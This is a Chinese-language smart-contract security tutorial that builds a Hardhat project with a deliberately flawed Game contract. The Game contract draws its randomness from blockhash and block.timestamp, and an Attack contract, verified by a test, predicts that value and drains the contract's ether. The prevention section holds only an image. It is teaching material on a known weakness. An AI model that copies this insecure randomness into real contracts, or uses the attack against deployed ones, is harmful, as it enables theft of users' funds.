![https://hicoldcat.oss-cn-hangzhou.aliyuncs.com/img/20220805223012.png https://hicoldcat.oss-cn-hangzhou.aliyuncs.com/img/20220805223012.png]()
随机性是一个难题。计算机运行由程序员编写的代码,并遵循给定的步骤序列。因此,设计一个能够给你一个“随机”数的算法是非常困难的,因为该随机数必须来自遵循特定步骤序列的算法。现在,当然,某些功能比其他功能更好。
在这种情况下,我们将专门研究为什么你不能信任链上数据作为随机源(以及为什么我们在进阶课程中使用的 Chainlink VRF 被创建的原因)。
要求
- 我们将建立一个有一组牌的游戏。
- 每张牌都有一个与之相关的数字,范围从0到2²⁵⁶-1。
- 玩家将猜测一个将要被选中的数字。
- 然后,庄家将随机从牌包中拿起一张牌。
- 如果有人猜对了数字,他们将赢得0.1个ETH。
- 我们今天将破解这个游戏 :)
构建
为了构建智能合约,我们将使用Hardhat。Hardhat是一个Ethereum开发环境和框架,为Solidity的全栈开发而设计。简单地说,你可以编写你的智能合约,部署它们,运行测试,并调试你的代码。
| 1
2
 | npm init --yes
npm install --save-dev hardhat
 | 
 
- 如果你使用的是Windows系统,请做这个额外的步骤,同时安装这些库 :)
| 1
 | npm install --save-dev @nomiclabs/hardhat-waffle ethereum-waffle chai @nomiclabs/hardhat-ethers ethers
 | 
 
- 选择Create a basic sample project
- 对已指定的Hardhat Project root按回车键
- 如果你想添加一个.gitignore,请按回车键。
- 按回车键Do you want to install this sample project's dependencies with npm (@nomiclabs/hardhat-waffle ethereum-waffle chai @nomiclabs/hardhat-ethers ethers)?
现在你有一个准备好的hardhat项目了!
- 让我们先了解一下abi.encodedPacked是做什么的。
我们以前在入门NFT教程中使用过abi.encode。它是一种将多种数据类型串联成一个字节数组的方法,然后可以将其转换为一个字符串。这经常被用来计算NFT集合的tokenURI。 encodePacked更进一步,将多个值串联成一个字节数组,但也摆脱了任何填充和额外的值。这意味着什么呢?让我们以uint256为例。uint256的数字有256位。但是,如果存储的值只是1,使用abi.encode将创建一个有255个0和只有1个1的字符串。使用abi.encodePacked将摆脱所有额外的0,而只是将1的值连接起来。
关于abi.encodePacked的更多信息,请继续阅读这篇文章
- 在你的contracts文件夹中创建一个名为Game.sol的文件,并添加以下几行代码。
|  1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
 | // SPDX-License-Identifier: MIT
  pragma solidity ^0.8.4;
  contract Game {
  constructor() payable {}
      /**
          Randomly picks a number out of `0 to 2²⁵⁶–1`.
      */
      function pickACard() private view returns(uint) {
          // `abi.encodePacked` takes in the two params - `blockhash` and `block.timestamp`
          // and returns a byte array which further gets passed into keccak256 which returns `bytes32`
          // which is further converted to a `uint`.
          // keccak256 is a hashing function which takes in a bytes array and converts it into a bytes32
          uint pickedCard = uint(keccak256(abi.encodePacked(blockhash(block.number), block.timestamp)));
          return pickedCard;
      }
      /**
          It begins the game by first choosing a random number by calling `pickACard`
          It then verifies if the random number selected is equal to `_guess` passed by the player
          If the player guessed the correct number, it sends the player `0.1 ether`
      */
      function guess(uint _guess) public {
          uint _pickedCard = pickACard();
          if(_guess == _pickedCard){
              (bool sent,) = msg.sender.call{value: 0.1 ether}("");
              require(sent, "Failed to send ether");
          }
      }
      /**
          Returns the balance of ether in the contract
      */
      function getBalance() view public returns(uint) {
          return address(this).balance;
      }
  }
 | 
 
- 现在在你的contracts文件夹中创建一个名为Attack.sol的文件,并添加以下几行代码。
|  1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
 | // SPDX-License-Identifier: MIT
  pragma solidity ^0.8.4;
  import "./Game.sol";
  contract Attack {
      Game game;
      /**
          Creates an instance of Game contract with the help of `gameAddress`
      */
      constructor(address gameAddress) {
          game = Game(gameAddress);
      }
      /**
          attacks the `Game` contract by guessing the exact number because `blockhash` and `block.timestamp`
          is accessible publically
      */
      function attack() public {
          // `abi.encodePacked` takes in the two params - `blockhash` and `block.timestamp`
          // and returns a byte array which further gets passed into keccak256 which returns `bytes32`
          // which is further converted to a `uint`.
          // keccak256 is a hashing function which takes in a bytes array and converts it into a bytes32
          uint _guess = uint(keccak256(abi.encodePacked(blockhash(block.number), block.timestamp)));
          game.guess(_guess);
      }
      // Gets called when the contract recieves ether
      receive() external payable{}
  }
 | 
 
|  1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 | const { ethers, waffle } = require("hardhat");
const { expect } = require("chai");
const { BigNumber, utils } = require("ethers");
describe("Attack", function () {
  it("Should be able to guess the exact number", async function () {
    // Deploy the Game contract
    const Game = await ethers.getContractFactory("Game");
    const _game = await Game.deploy({ value: utils.parseEther("0.1") });
    await _game.deployed();
    console.log("Game contract address", _game.address);
    // Deploy the attack contract
    const Attack = await ethers.getContractFactory("Attack");
    const _attack = await Attack.deploy(_game.address);
    console.log("Attack contract address", _attack.address);
    // Attack the Game contract
    const tx = await _attack.attack();
    await tx.wait();
    const balanceGame = await _game.getBalance();
    // Balance of the Game contract should be 0
    expect(balanceGame).to.equal(BigNumber.from("0"));
  });
});
 | 
 
- 现在打开一个终端,指向Source-of-Randomness文件夹,执行以下内容
- 如果你所有的测试都通过了,你就成功地完成了黑客的工作 :)
预防措施
![https://hicoldcat.oss-cn-hangzhou.aliyuncs.com/img/my.png https://hicoldcat.oss-cn-hangzhou.aliyuncs.com/img/my.png]()